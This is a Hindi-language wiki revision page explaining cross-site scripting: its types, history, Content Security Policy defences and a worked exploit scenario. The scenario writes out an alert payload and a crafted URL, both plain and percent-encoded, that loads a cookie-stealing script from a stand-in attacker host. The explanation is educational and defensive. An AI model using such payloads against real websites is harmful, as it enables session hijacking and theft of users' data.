क्रॉस साइट स्क्रिप्टिंग: Difference between revisions

From Vigyanwiki
(Created page with "{{Redirect|XSS}}{{short description|Computer security vulnerability}} {{Use mdy dates|date=June 2018}} {{Information security}} क्रॉस-साइट स्क्रि...")
 
No edit summary
Line 2: Line 2:
{{Use mdy dates|date=June 2018}}
{{Use mdy dates|date=June 2018}}
{{Information security}}
{{Information security}}
क्रॉस-साइट स्क्रिप्टिंग (XSS) एक प्रकार की सुरक्षा [[भेद्यता (कंप्यूटर विज्ञान)]] है जो कुछ वेब अनुप्रयोगों में पाई जा सकती है। XSS हमले हमलावरों को अन्य उपयोगकर्ताओं द्वारा देखे गए वेब पेजों [[कोड इंजेक्शन]] [[क्लाइंट-साइड स्क्रिप्ट]] को कोड करने में सक्षम बनाते हैं। एक क्रॉस-साइट स्क्रिप्टिंग भेद्यता का उपयोग हमलावरों द्वारा समान-मूल नीति जैसे अभिगम नियंत्रणों को बायपास करने के लिए किया जा सकता है। 2007 तक [[NortonLifeLock]] द्वारा प्रलेखित सभी सुरक्षा भेद्यताओं का लगभग 84% [[वेबसाइट]]ों पर की गई क्रॉस-साइट स्क्रिप्टिंग का कारण था।<ref name="Symantec-2007-2nd-exec">During the second half of 2007, 11,253 site-specific cross-site vulnerabilities were documented by XSSed, compared to 2,134 "traditional" vulnerabilities documented by Symantec, in {{cite journal |title=Symantec Internet Security Threat Report: Trends for July–December 2007 (Executive Summary) |publisher=Symantec Corp. |volume=XIII |pages=1–3 |date=April 2008 |url=http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_exec_summary_internet_security_threat_report_xiii_04-2008.en-us.pdf |access-date=May 11, 2008 |archive-url=https://web.archive.org/web/20080625065121/http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_exec_summary_internet_security_threat_report_xiii_04-2008.en-us.pdf |archive-date=June 25, 2008 |url-status=dead }}</ref> XSS प्रभाव अलग-अलग होते हैं
'''क्रॉस-साइट स्क्रिप्टिंग''' (XSS) एक प्रकार की सुरक्षा [[भेद्यता (कंप्यूटर विज्ञान)]] है जो कुछ वेब एप्लिकेशन में पाई जा सकती है। XSS हमले अटैकर्स को अन्य उपयोगकर्ताओं द्वारा देखे गए वेब पेजों में क्लाइंट-साइड [[कोड इंजेक्शन|स्क्रिप्ट इंजेक्ट]] करने में सक्षम बनाते हैं।  
 
क्रॉस-साइट स्क्रिप्टिंग भेद्यता का उपयोग हमलावरों द्वारा समान-मूल नीति जैसे अभिगम नियंत्रणों को बायपास करने के लिए किया जा सकता है। 2007 तक [[NortonLifeLock]] द्वारा प्रलेखित सभी सुरक्षा भेद्यताओं का लगभग 84% [[वेबसाइट]]ों पर की गई क्रॉस-साइट स्क्रिप्टिंग का कारण था।<ref name="Symantec-2007-2nd-exec">During the second half of 2007, 11,253 site-specific cross-site vulnerabilities were documented by XSSed, compared to 2,134 "traditional" vulnerabilities documented by Symantec, in {{cite journal |title=Symantec Internet Security Threat Report: Trends for July–December 2007 (Executive Summary) |publisher=Symantec Corp. |volume=XIII |pages=1–3 |date=April 2008 |url=http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_exec_summary_internet_security_threat_report_xiii_04-2008.en-us.pdf |access-date=May 11, 2008 |archive-url=https://web.archive.org/web/20080625065121/http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_exec_summary_internet_security_threat_report_xiii_04-2008.en-us.pdf |archive-date=June 25, 2008 |url-status=dead }}</ref> XSS प्रभाव अलग-अलग होते हैं
कमजोर साइट द्वारा संभाले गए डेटा की संवेदनशीलता और साइट के मालिक [[कंप्यूटर नेटवर्क]] द्वारा लागू किए गए किसी भी सुरक्षा शमन की प्रकृति के आधार पर, छोटे उपद्रव से लेकर महत्वपूर्ण सुरक्षा जोखिम तक।
कमजोर साइट द्वारा संभाले गए डेटा की संवेदनशीलता और साइट के मालिक [[कंप्यूटर नेटवर्क]] द्वारा लागू किए गए किसी भी सुरक्षा शमन की प्रकृति के आधार पर, छोटे उपद्रव से लेकर महत्वपूर्ण सुरक्षा जोखिम तक।


Line 159: Line 161:
सामग्री सुरक्षा नीति<ref>{{Cite web|url=https://www.w3.org/TR/CSP3/Overview.html|title=सामग्री सुरक्षा नीति स्तर 3|website=www.w3.org|access-date=2019-05-01}}</ref> (सीएसपी) एचटीएमएल दस्तावेज़ों को कुछ स्क्रिप्ट को अक्षम करने के लिए ऑप्ट इन करने की अनुमति देता है जबकि अन्य को सक्षम छोड़ देता है। ब्राउजर प्रत्येक स्क्रिप्ट को चलाने का निर्णय लेने से पहले नीति के विरुद्ध जांच करता है। जब तक नीति केवल भरोसेमंद स्क्रिप्ट की अनुमति देती है और [[इवल]] को अनुमति नहीं देती है, ब्राउज़र HTML दस्तावेज़ की संरचना की परवाह किए बिना अविश्वसनीय लेखकों के प्रोग्राम नहीं चलाएगा।
सामग्री सुरक्षा नीति<ref>{{Cite web|url=https://www.w3.org/TR/CSP3/Overview.html|title=सामग्री सुरक्षा नीति स्तर 3|website=www.w3.org|access-date=2019-05-01}}</ref> (सीएसपी) एचटीएमएल दस्तावेज़ों को कुछ स्क्रिप्ट को अक्षम करने के लिए ऑप्ट इन करने की अनुमति देता है जबकि अन्य को सक्षम छोड़ देता है। ब्राउजर प्रत्येक स्क्रिप्ट को चलाने का निर्णय लेने से पहले नीति के विरुद्ध जांच करता है। जब तक नीति केवल भरोसेमंद स्क्रिप्ट की अनुमति देती है और [[इवल]] को अनुमति नहीं देती है, ब्राउज़र HTML दस्तावेज़ की संरचना की परवाह किए बिना अविश्वसनीय लेखकों के प्रोग्राम नहीं चलाएगा।


यह सुरक्षा बोझ को नीति लेखकों पर स्थानांतरित करता है। में पढ़ता है<ref>{{Cite journal|last=Weichselbaum|first=Lukas|date=2016|title=सीएसपी मर चुका है, सीएसपी जिंदाबाद! श्वेतसूची की असुरक्षा और सामग्री सुरक्षा नीति के भविष्य पर|url=https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/45542.pdf|journal=Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security|volume=CCS '16|pages=1376–1387|doi=10.1145/2976749.2978363|isbn=9781450341394|s2cid=16400010|doi-access=free}}</ref> मेजबान श्वेतसूची आधारित नीतियों की प्रभावकारिता पर संदेह व्यक्त किया है। <ब्लॉककोट>कुल मिलाकर, हम पाते हैं कि 94.68% नीतियां जो स्क्रिप्ट निष्पादन को सीमित करने का प्रयास करती हैं, अप्रभावी हैं, और सीएसपी के साथ 99.34% मेजबान उन नीतियों का उपयोग करते हैं जो एक्सएसएस के खिलाफ कोई लाभ नहीं देते हैं। </blockquote>आधुनिक<ref>{{Cite web|url=https://caniuse.com/#feat=contentsecuritypolicy2|title=क्या मैं उपयोग कर सकता हूँ... HTML5, CSS3, आदि के लिए समर्थन तालिकाएँ|website=caniuse.com|access-date=2019-05-01}}</ref> CSP नीतियां [[क्रिप्टोग्राफ़िक अस्थायी]] रूप से उपयोग करने की अनुमति देती हैं<ref>{{Cite web|url=https://csp.withgoogle.com/docs/strict-csp.html|title=सख्त सीएसपी - सामग्री सुरक्षा नीति|website=csp.withgoogle.com|access-date=2019-05-01}}</ref> नीति को पृष्ठ सामग्री से पूरी तरह से अलग रखने के बजाय HTML दस्तावेज़ में स्क्रिप्ट को चलाने के लिए सुरक्षित के रूप में चिह्नित करना। जब तक भरोसेमंद नॉन्स केवल भरोसेमंद स्क्रिप्ट पर दिखाई देते हैं, ब्राउज़र अविश्वसनीय लेखकों से प्रोग्राम नहीं चलाएगा। कुछ बड़े एप्लिकेशन प्रदाताओं ने गैर-आधारित नीतियों को सफलतापूर्वक परिनियोजित करने की रिपोर्ट दी है।<ref>{{Cite web|url=https://www.eweek.com/security/how-google-is-using-content-security-policy-to-mitigate-web-flaws|title=वेब की खामियों को कम करने के लिए Google सामग्री सुरक्षा नीति का उपयोग कैसे कर रहा है|website=eWEEK|date=April 22, 2019 |access-date=2019-05-01}}</ref><ref>{{Cite web|url=https://blogs.dropbox.com/tech/2015/09/on-csp-reporting-and-filtering/|title=[सीएसपी] रिपोर्टिंग और फ़िल्टरिंग पर|last=Akhawe|first=Devdatta|website=Dropbox Tech Blog|language=en|access-date=2019-05-01}}</ref>
यह सुरक्षा बोझ को नीति लेखकों पर स्थानांतरित करता है। में पढ़ता है<ref>{{Cite journal|last=Weichselbaum|first=Lukas|date=2016|title=सीएसपी मर चुका है, सीएसपी जिंदाबाद! श्वेतसूची की असुरक्षा और सामग्री सुरक्षा नीति के भविष्य पर|url=https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/45542.pdf|journal=Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security|volume=CCS '16|pages=1376–1387|doi=10.1145/2976749.2978363|isbn=9781450341394|s2cid=16400010|doi-access=free}}</ref> मेजबान श्वेतसूची आधारित नीतियों की प्रभावकारिता पर संदेह व्यक्त किया है। <ब्लॉककोट>कुल मिलाकर, हम पाते हैं कि 94.68% नीतियां जो स्क्रिप्ट निष्पादन को सीमित करने का प्रयास करती हैं, अप्रभावी हैं, और सीएसपी के साथ 99.34% मेजबान उन नीतियों का उपयोग करते हैं जो एक्सएसएस के खिलाफ कोई लाभ नहीं देते हैं। आधुनिक<ref>{{Cite web|url=https://caniuse.com/#feat=contentsecuritypolicy2|title=क्या मैं उपयोग कर सकता हूँ... HTML5, CSS3, आदि के लिए समर्थन तालिकाएँ|website=caniuse.com|access-date=2019-05-01}}</ref> CSP नीतियां [[क्रिप्टोग्राफ़िक अस्थायी]] रूप से उपयोग करने की अनुमति देती हैं<ref>{{Cite web|url=https://csp.withgoogle.com/docs/strict-csp.html|title=सख्त सीएसपी - सामग्री सुरक्षा नीति|website=csp.withgoogle.com|access-date=2019-05-01}}</ref> नीति को पृष्ठ सामग्री से पूरी तरह से अलग रखने के बजाय HTML दस्तावेज़ में स्क्रिप्ट को चलाने के लिए सुरक्षित के रूप में चिह्नित करना। जब तक भरोसेमंद नॉन्स केवल भरोसेमंद स्क्रिप्ट पर दिखाई देते हैं, ब्राउज़र अविश्वसनीय लेखकों से प्रोग्राम नहीं चलाएगा। कुछ बड़े एप्लिकेशन प्रदाताओं ने गैर-आधारित नीतियों को सफलतापूर्वक परिनियोजित करने की रिपोर्ट दी है।<ref>{{Cite web|url=https://www.eweek.com/security/how-google-is-using-content-security-policy-to-mitigate-web-flaws|title=वेब की खामियों को कम करने के लिए Google सामग्री सुरक्षा नीति का उपयोग कैसे कर रहा है|website=eWEEK|date=April 22, 2019 |access-date=2019-05-01}}</ref><ref>{{Cite web|url=https://blogs.dropbox.com/tech/2015/09/on-csp-reporting-and-filtering/|title=[सीएसपी] रिपोर्टिंग और फ़िल्टरिंग पर|last=Akhawe|first=Devdatta|website=Dropbox Tech Blog|language=en|access-date=2019-05-01}}</ref>




Revision as of 22:43, 29 December 2022

"XSS" redirects here. For other uses, see XSS (disambiguation).

श्रृंखला का हिस्सा
सूचना सुरक्षा
vectorial version
सुरक्षा संबंधित श्रेणियां
थ्रेट्स
डिफेंसेस

क्रॉस-साइट स्क्रिप्टिंग (XSS) एक प्रकार की सुरक्षा भेद्यता (कंप्यूटर विज्ञान) है जो कुछ वेब एप्लिकेशन में पाई जा सकती है। XSS हमले अटैकर्स को अन्य उपयोगकर्ताओं द्वारा देखे गए वेब पेजों में क्लाइंट-साइड स्क्रिप्ट इंजेक्ट करने में सक्षम बनाते हैं।

क्रॉस-साइट स्क्रिप्टिंग भेद्यता का उपयोग हमलावरों द्वारा समान-मूल नीति जैसे अभिगम नियंत्रणों को बायपास करने के लिए किया जा सकता है। 2007 तक NortonLifeLock द्वारा प्रलेखित सभी सुरक्षा भेद्यताओं का लगभग 84% वेबसाइटों पर की गई क्रॉस-साइट स्क्रिप्टिंग का कारण था।[1] XSS प्रभाव अलग-अलग होते हैं कमजोर साइट द्वारा संभाले गए डेटा की संवेदनशीलता और साइट के मालिक कंप्यूटर नेटवर्क द्वारा लागू किए गए किसी भी सुरक्षा शमन की प्रकृति के आधार पर, छोटे उपद्रव से लेकर महत्वपूर्ण सुरक्षा जोखिम तक।

पृष्ठभूमि

वेब पर सुरक्षा विभिन्न तंत्रों पर निर्भर करती है, जिसमें समान-मूल नीति के रूप में ज्ञात विश्वास की अंतर्निहित अवधारणा शामिल है। यह अनिवार्य रूप से बताता है कि यदि एक साइट की सामग्री (जैसे https://mybank.example1.com) को वेब ब्राउज़र पर संसाधनों (जैसे कुकीज़ आदि) तक पहुंचने की अनुमति दी जाती है, तो किसी भी साइट से सामग्री समान (1) URI योजना, (2) होस्ट नाम और (3) पोर्ट नंबर वाला URL इन अनुमतियों को साझा करेगा। यूआरएल की सामग्री जहां इन तीन विशेषताओं में से कोई भी अलग है, उन्हें अलग से अनुमतियां देनी होंगी।[2] क्रॉस-साइट स्क्रिप्टिंग हमले वेब-आधारित अनुप्रयोगों, उनके सर्वर, या प्लग-इन सिस्टम में ज्ञात कमजोरियों का उपयोग करते हैं जिन पर वे भरोसा करते हैं। इनमें से किसी एक का फायदा उठाते हुए, हमलावर दुर्भावनापूर्ण सामग्री को छेड़छाड़ की गई साइट से वितरित की जा रही सामग्री में जोड़ देते हैं। जब परिणामी संयुक्त सामग्री क्लाइंट-साइड वेब ब्राउज़र पर आती है, तो यह सभी विश्वसनीय स्रोत से वितरित की जाती है, और इस प्रकार उस सिस्टम को दी गई अनुमतियों के तहत काम करती है। दुर्भावनापूर्ण स्क्रिप्ट को वेब पेजों में इंजेक्ट करने के तरीकों को ढूंढकर, एक हमलावर संवेदनशील पृष्ठ सामग्री, सत्र कुकीज़, और उपयोगकर्ता की ओर से ब्राउज़र द्वारा रखी जाने वाली अन्य जानकारी तक पहुंच-विशेषाधिकार प्राप्त कर सकता है। क्रॉस-साइट स्क्रिप्टिंग हमले कोड इंजेक्शन का मामला हैं।

Microsoft सुरक्षा-इंजीनियरों ने जनवरी 2000 में क्रॉस-साइट स्क्रिप्टिंग शब्द की शुरुआत की।[3] अभिव्यक्ति क्रॉस-साइट स्क्रिप्टिंग मूल रूप से एक असंबंधित हमले-साइट से हमला किए गए, तीसरे पक्ष के वेब एप्लिकेशन को लोड करने के कार्य को संदर्भित करता है, जो लक्षित की समान-मूल नीति में हमलावर द्वारा तैयार जावास्क्रिप्ट के एक टुकड़े को निष्पादित करता है। डोमेन (प्रतिबिंबित या गैर-निरंतर XSS भेद्यता का लाभ उठाते हुए)। परिभाषा धीरे-धीरे कोड इंजेक्शन के अन्य तरीकों को शामिल करने के लिए विस्तारित हुई, जिसमें लगातार और गैर-जावास्क्रिप्ट वैक्टर (एक्टिवेक्स, जावा (प्रोग्रामिंग भाषा), वीबीस्क्रिप्ट, एडोब फ्लैश, या यहां तक ​​​​कि एचटीएमएल स्क्रिप्ट सहित) शामिल हैं, जिससे नवागंतुकों को सूचना के क्षेत्र में कुछ भ्रम हो रहा है। सुरक्षा।[4] 1990 के दशक से XSS कमजोरियों की सूचना दी गई है और उनका शोषण किया गया है। अतीत में प्रभावित होने वाली प्रमुख साइटों में सोशल-नेटवर्किंग साइट्स ट्विटर शामिल हैं[5] और फेसबुक।[6] क्रॉस-साइट स्क्रिप्टिंग दोष तब से बफ़र अधिकता को पार कर सार्वजनिक रूप से रिपोर्ट की जाने वाली सबसे आम सुरक्षा भेद्यता बन गई है,[7] 2007 में कुछ शोधकर्ताओं ने अनुमान लगाया कि 68% वेबसाइटों के XSS हमलों के लिए खुले होने की संभावना है।[8]


प्रकार

क्रॉस-साइट स्क्रिप्टिंग दोषों का कोई एकल, मानकीकृत वर्गीकरण नहीं है, लेकिन अधिकांश विशेषज्ञ XSS दोषों के कम से कम दो प्राथमिक स्वादों के बीच अंतर करते हैं: गैर-निरंतर और स्थायी। कुछ स्रोत इन दो समूहों को पारंपरिक (सर्वर-साइड कोड दोषों के कारण) और दस्तावेज़ ऑब्जेक्ट मॉडल-आधारित (क्लाइंट-साइड कोड में) में विभाजित करते हैं।

गैर-निरंतर (प्रतिबिंबित)

Example of a non-persistent XSS flaw

Non-persistent XSS vulnerabilities in Google could allow malicious sites to attack Google users who visit them while logged in.[9]

गैर-स्थायी (या परिलक्षित) क्रॉस-साइट स्क्रिप्टिंग भेद्यता अब तक की सबसे बुनियादी प्रकार की वेब भेद्यता है।[10] ये छेद तब दिखाई देते हैं जब वेब क्लाइंट द्वारा प्रदान किया गया डेटा,[11] आमतौर पर HTTP क्वेरी पैरामीटर (जैसे HTML फॉर्म सबमिशन) में, सर्वर-साइड स्क्रिप्ट द्वारा तुरंत उपयोग किया जाता है और उस उपयोगकर्ता के लिए और उस उपयोगकर्ता के लिए परिणामों का एक पृष्ठ प्रदर्शित करने के लिए, सामग्री को ठीक से HTML स्वच्छता के बिना।[12] क्योंकि HTML दस्तावेज़ों में एक सपाट, क्रमिक संरचना होती है जो नियंत्रण कथनों, स्वरूपण और वास्तविक सामग्री को मिलाती है, उचित HTML एन्कोडिंग के बिना परिणामी पृष्ठ में शामिल कोई भी गैर-सत्यापित उपयोगकर्ता-प्रदत्त डेटा, मार्कअप इंजेक्शन का कारण बन सकता है।[10][12]एक संभावित सदिश का एक उत्कृष्ट उदाहरण एक साइट खोज इंजन है: यदि कोई एक स्ट्रिंग के लिए खोज करता है, तो खोज स्ट्रिंग आमतौर पर परिणाम पृष्ठ पर शब्दशः फिर से प्रदर्शित की जाएगी, यह इंगित करने के लिए कि क्या खोजा गया था। यदि यह प्रतिक्रिया उचित रूप से वर्ण से बच नहीं पाती है या HTML नियंत्रण वर्णों को अस्वीकार नहीं करती है, तो एक क्रॉस-साइट स्क्रिप्टिंग दोष उत्पन्न होगा।[13] एक प्रतिबिंबित हमला आम तौर पर ईमेल या तटस्थ वेब साइट के माध्यम से दिया जाता है। चारा एक मासूम दिखने वाला URL है, जो एक विश्वसनीय साइट की ओर इशारा करता है लेकिन XSS वेक्टर युक्त है। यदि विश्वसनीय साइट वेक्टर के लिए असुरक्षित है, तो लिंक पर क्लिक करने से पीड़ित का ब्राउज़र इंजेक्ट की गई स्क्रिप्ट को निष्पादित कर सकता है।

लगातार (या संग्रहीत)

Example of a persistent XSS flaw

A persistent cross-zone scripting vulnerability coupled with a computer worm allowed execution of arbitrary code and listing of filesystem contents via a QuickTime movie on MySpace.[14]

लगातार (या संग्रहीत) XSS भेद्यता एक क्रॉस-साइट स्क्रिप्टिंग दोष का अधिक विनाशकारी रूप है: यह तब होता है जब हमलावर द्वारा प्रदान किया गया डेटा सर्वर द्वारा सहेजा जाता है, और फिर पाठ्यक्रम में अन्य उपयोगकर्ताओं को लौटाए गए सामान्य पृष्ठों पर स्थायी रूप से प्रदर्शित होता है। नियमित ब्राउज़िंग की, बिना उचित HTML एस्केपिंग के। इसका एक उत्कृष्ट उदाहरण ऑनलाइन संदेश बोर्डों के साथ है जहां उपयोगकर्ताओं को अन्य उपयोगकर्ताओं को पढ़ने के लिए HTML स्वरूपित संदेशों को पोस्ट करने की अनुमति है।[12]

उदाहरण के लिए, मान लीजिए कि एक डेटिंग वेबसाइट है जहां सदस्य अन्य सदस्यों के प्रोफाइल को स्कैन करते हैं यह देखने के लिए कि क्या वे दिलचस्प लग रहे हैं। गोपनीयता कारणों से, यह साइट सभी का वास्तविक नाम और ईमेल छुपाती है। इन्हें सर्वर पर गुप्त रखा जाता है। किसी सदस्य का वास्तविक नाम और ईमेल ब्राउज़र में केवल तभी होता है जब सदस्य लॉग इन करें होता है, और वे किसी और का नाम नहीं देख सकते हैं।

मान लीजिए कि मैलोरी, एक हमलावर, साइट से जुड़ती है और उन लोगों के वास्तविक नामों का पता लगाना चाहती है जिन्हें वह साइट पर देखती है। ऐसा करने के लिए, वह एक स्क्रिप्ट लिखती है जिसे अन्य उपयोगकर्ताओं के ब्राउज़र से चलाने के लिए डिज़ाइन किया गया है जब वे उसकी प्रोफ़ाइल पर जाते हैं। स्क्रिप्ट तब अपने स्वयं के सर्वर को एक त्वरित संदेश भेजती है, जो यह जानकारी एकत्र करता है।

ऐसा करने के लिए, प्रश्न के लिए अपनी आदर्श पहली तारीख का वर्णन करें, मैलोरी एक संक्षिप्त उत्तर देती है (सामान्य दिखने के लिए), लेकिन उसके उत्तर के अंत में पाठ नाम और ईमेल चुराने की उसकी स्क्रिप्ट है। यदि स्क्रिप्ट a के अंदर संलग्न है <script> तत्व, यह स्क्रीन पर नहीं दिखाया जाएगा। फिर मान लीजिए कि बॉब, डेटिंग साइट का एक सदस्य, मैलोरी की प्रोफ़ाइल तक पहुँचता है, जिसमें उसका फ़र्स्ट डेट प्रश्न का उत्तर है। उसकी स्क्रिप्ट ब्राउज़र द्वारा स्वचालित रूप से चलाई जाती है और बॉब के वास्तविक नाम और ईमेल की एक प्रति सीधे उसकी अपनी मशीन से चुरा लेती है।

स्थायी XSS भेद्यता अन्य प्रकारों की तुलना में अधिक महत्वपूर्ण हो सकती है क्योंकि एक हमलावर की दुर्भावनापूर्ण स्क्रिप्ट स्वचालित रूप से पीड़ितों को व्यक्तिगत रूप से लक्षित करने या उन्हें किसी तृतीय-पक्ष वेबसाइट पर लुभाने की आवश्यकता के बिना प्रदान की जाती है। विशेष रूप से सोशल नेटवर्किंग साइट्स के मामले में, कोड को आगे खातों में स्व-प्रसार के लिए डिज़ाइन किया जाएगा, एक प्रकार का क्लाइंट-साइड कंप्यूटर कीड़ा बनाया जाएगा।[15] इंजेक्शन के तरीके बहुत भिन्न हो सकते हैं; कुछ मामलों में, हमलावर को इस तरह के छेद का फायदा उठाने के लिए वेब कार्यक्षमता के साथ सीधे बातचीत करने की भी आवश्यकता नहीं हो सकती है। वेब एप्लिकेशन द्वारा प्राप्त कोई भी डेटा (ईमेल, सिस्टम लॉग, आईएम आदि के माध्यम से) जिसे एक हमलावर द्वारा नियंत्रित किया जा सकता है, एक इंजेक्शन वेक्टर बन सकता है।

सर्वर-साइड बनाम डोम-आधारित कमजोरियां

Example of a DOM-based XSS flaw

Before the bug was resolved, Bugzilla error pages were open to DOM-based XSS attacks in which arbitrary HTML and scripts could be injected using forced error messages.[16]

XSS भेद्यता मूल रूप से उन अनुप्रयोगों में पाई गई थी जो सर्वर साइड पर सभी डेटा प्रोसेसिंग करते थे। उपयोगकर्ता इनपुट (एक XSS वेक्टर सहित) सर्वर को भेजा जाएगा, और फिर उपयोगकर्ता को वेब पेज के रूप में वापस भेजा जाएगा। एक बेहतर उपयोगकर्ता अनुभव की आवश्यकता के परिणामस्वरूप उन अनुप्रयोगों की लोकप्रियता हुई, जिनमें अधिकांश प्रस्तुति तर्क (शायद जावास्क्रिप्ट में लिखे गए) क्लाइंट-साइड पर काम कर रहे थे, जो डेटा, मांग पर, AJAX का उपयोग कर सर्वर से खींच लिया था।

जैसा कि जावास्क्रिप्ट कोड भी उपयोगकर्ता इनपुट को संसाधित कर रहा था और इसे वेब पेज की सामग्री में प्रस्तुत कर रहा था, परिलक्षित XSS हमलों का एक नया उप-वर्ग दिखाई देने लगा जिसे दस्तावेज़ ऑब्जेक्ट मॉडल-आधारित क्रॉस-साइट स्क्रिप्टिंग कहा जाता था। DOM-आधारित XSS हमले में, दुर्भावनापूर्ण डेटा वेब सर्वर को नहीं छूता है। बल्कि, यह पूरी तरह से क्लाइंट साइड पर, जावास्क्रिप्ट कोड द्वारा परिलक्षित हो रहा है।[17] DOM-आधारित XSS भेद्यता का एक उदाहरण 2011 में कई jQuery प्लगइन्स में पाया गया बग है।[18] DOM-आधारित XSS हमलों के लिए रोकथाम रणनीतियों में पारंपरिक XSS रोकथाम रणनीतियों के समान उपाय शामिल हैं, लेकिन जावास्क्रिप्ट कोड में लागू किया गया है और वेब पेजों में निहित है (यानी इनपुट सत्यापन और पलायन)।[19] कुछ जावास्क्रिप्ट पुस्तकालय में इसके और अन्य प्रकार के हमलों के खिलाफ अंतर्निहित काउंटरमेशर्स हैं - उदाहरण के लिए एंगुलरजेएस।[20]


स्व-XSS

स्व-एक्सएसएस एक्सएसएस भेद्यता का एक रूप है जो पीड़ित को अपने ब्राउज़र में दुर्भावनापूर्ण जावास्क्रिप्ट कोड निष्पादित करने के लिए सोशल इंजीनियरिंग (सुरक्षा) पर निर्भर करता है। यद्यपि यह तकनीकी रूप से वास्तविक XSS भेद्यता नहीं है, इस तथ्य के कारण कि यह एक हमलावर को ऐसा करने की अनुमति देने वाली प्रभावित वेबसाइट में दोष के बजाय कोड को निष्पादित करने के लिए उपयोगकर्ता को सामाजिक रूप से इंजीनियरिंग पर निर्भर करता है, फिर भी यह नियमित XSS भेद्यता के समान जोखिम पैदा करता है यदि ठीक से निष्पादित।[21]


उत्परिवर्तित XSS (mXSS)

उत्परिवर्तित XSS तब होता है जब हमलावर कुछ ऐसा इंजेक्ट करता है जो सुरक्षित प्रतीत होता है लेकिन मार्कअप को पार्स करते समय ब्राउज़र द्वारा फिर से लिखा और संशोधित किया जाता है। इससे वेबसाइट के एप्लिकेशन लॉजिक के भीतर इसका पता लगाना या साफ करना बेहद कठिन हो जाता है। एक उदाहरण बंद न किए गए उद्धरण चिह्नों को पुनर्संतुलित कर रहा है या यहां तक ​​कि CSS फ़ॉन्ट-फ़ैमिली के पैरामीटर पर बिना उद्धृत किए गए पैरामीटर में उद्धरण चिह्न जोड़ रहा है।

एक्सप्लॉयट उदाहरण

क्रॉस-साइट स्क्रिप्टिंग कमजोरियों का फायदा उठाने के इच्छुक हमलावरों को भेद्यता के प्रत्येक वर्ग से अलग तरीके से संपर्क करना चाहिए। प्रत्येक वर्ग के लिए, एक विशिष्ट आक्रमण वेक्टर का वर्णन यहाँ किया गया है। नीचे दिए गए नाम तकनीकी शब्द हैं, जो आमतौर पर कंप्यूटर सुरक्षा में उपयोग किए जाने वाले ऐलिस और बॉब | ऐलिस-एंड-बॉब पात्रों के कलाकारों से लिए गए हैं। वेब साइट और उपयोगकर्ता के स्थानीय वातावरण पर हमला करने के लिए ब्राउज़र एक्सप्लॉइटेशन फ्रेमवर्क का उपयोग किया जा सकता है।

गैर-लगातार

  1. ऐलिस अक्सर किसी विशेष वेबसाइट पर जाती है, जिसे बॉब होस्ट करता है। बॉब की वेबसाइट ऐलिस को उपयोगकर्ता नाम/पासवर्ड जोड़ी के साथ लॉग इन करने की अनुमति देती है और बिलिंग जानकारी जैसे संवेदनशील डेटा संग्रहीत करती है। जब कोई उपयोगकर्ता लॉग इन करता है, तो ब्राउज़र एक प्राधिकरण कुकी रखता है, जो कुछ यादृच्छिक वर्णों की तरह दिखती है, इसलिए दोनों कंप्यूटरों (क्लाइंट और सर्वर) के पास एक रिकॉर्ड होता है कि उसने लॉग इन किया है।
  2. मैलोरी ने देखा कि बॉब की वेबसाइट में एक परिलक्षित XSS भेद्यता है:
    1. जब वह खोज पृष्ठ पर जाती है, तो वह खोज बॉक्स में एक खोज शब्द दर्ज करती है और सबमिट बटन पर क्लिक करती है। यदि कोई परिणाम नहीं मिला, तो पृष्ठ वह शब्द प्रदर्शित करेगा जिसे उसने खोजा था और उसके बाद शब्द नहीं मिला, और url होगा http://bobssite.org/search?q=her%20search%20term.
    2. एक सामान्य खोज क्वेरी के साथ, पिल्लों शब्द की तरह, पृष्ठ केवल पिल्लों को प्रदर्शित नहीं करता है और url http://bobssite.org/search?q=puppies है - जो पूरी तरह से सामान्य व्यवहार है .
    3. हालांकि, जब वह एक असामान्य खोज क्वेरी सबमिट करती है, जैसे<script>alert('xss');</script>,
      1. एक अलर्ट बॉक्स प्रकट होता है (जो xss कहता है)।
      2. पाठ 'xss' के साथ एक त्रुटि संदेश के साथ पृष्ठ नहीं मिला।
      3. यूआरएल हैhttp://bobssite.org/search?q=<script>alert('xss');</script> - जो शोषक व्यवहार है।
  3. मैलोरी भेद्यता का फायदा उठाने के लिए एक यूआरएल तैयार करती है:
    1. वह यूआरएल बनाती है http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"></script>. वह ASCII वर्णों को प्रतिशत-एन्कोडिंग के साथ एन्कोड करना चुन सकती है, जैसे कि http://bobssite.org/search?q=puppies%3Cscript%20src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E, ताकि मानव पाठक दुर्भावनापूर्ण URL को तुरंत समझ न सकें।[22]
    2. वह बॉब की साइट के कुछ अनसुने सदस्यों को एक ई-मेल भेजती है, जिसमें कहा गया है कि कुछ प्यारे पिल्लों की जाँच करें!
  4. ऐलिस को ई-मेल मिलता है। वह पिल्लों से प्यार करती है और लिंक पर क्लिक करती है। यह खोजने के लिए बॉब की वेबसाइट पर जाता है, कुछ भी नहीं मिलता है, और पिल्लों को प्रदर्शित करता है जो नहीं मिला लेकिन ठीक बीच में, स्क्रिप्ट टैग चलता है (यह स्क्रीन पर अदृश्य है) और मैलोरी के प्रोग्राम authstealer.js को लोड करता है और चलाता है (XSS को ट्रिगर करता है) हमला)। एलिस इसके बारे में भूल जाती है।
  5. authstealer.js प्रोग्राम ऐलिस के ब्राउज़र में चलता है जैसे कि यह बॉब की वेबसाइट से उत्पन्न हुआ हो। यह ऐलिस के प्राधिकरण कुकी की एक प्रति लेता है और इसे मैलोरी के सर्वर पर भेजता है, जहां मैलोरी इसे पुनः प्राप्त करता है।
  6. मैलोरी अब ऐलिस की प्राधिकरण कुकी को अपने ब्राउज़र में रखती है जैसे कि वह उसकी अपनी हो। वह फिर बॉब की साइट पर जाती है और अब ऐलिस के रूप में लॉग इन है।
  7. अब जबकि वह अंदर है, मैलोरी वेबसाइट के बिलिंग अनुभाग में जाती है और ऐलिस के भुगतान कार्ड नंबर को देखती है और एक प्रति प्राप्त करती है। फिर वह जाती है और ऐलिस के खाते का पासवर्ड बदल देती है ताकि ऐलिस अब और लॉग इन न कर सके।
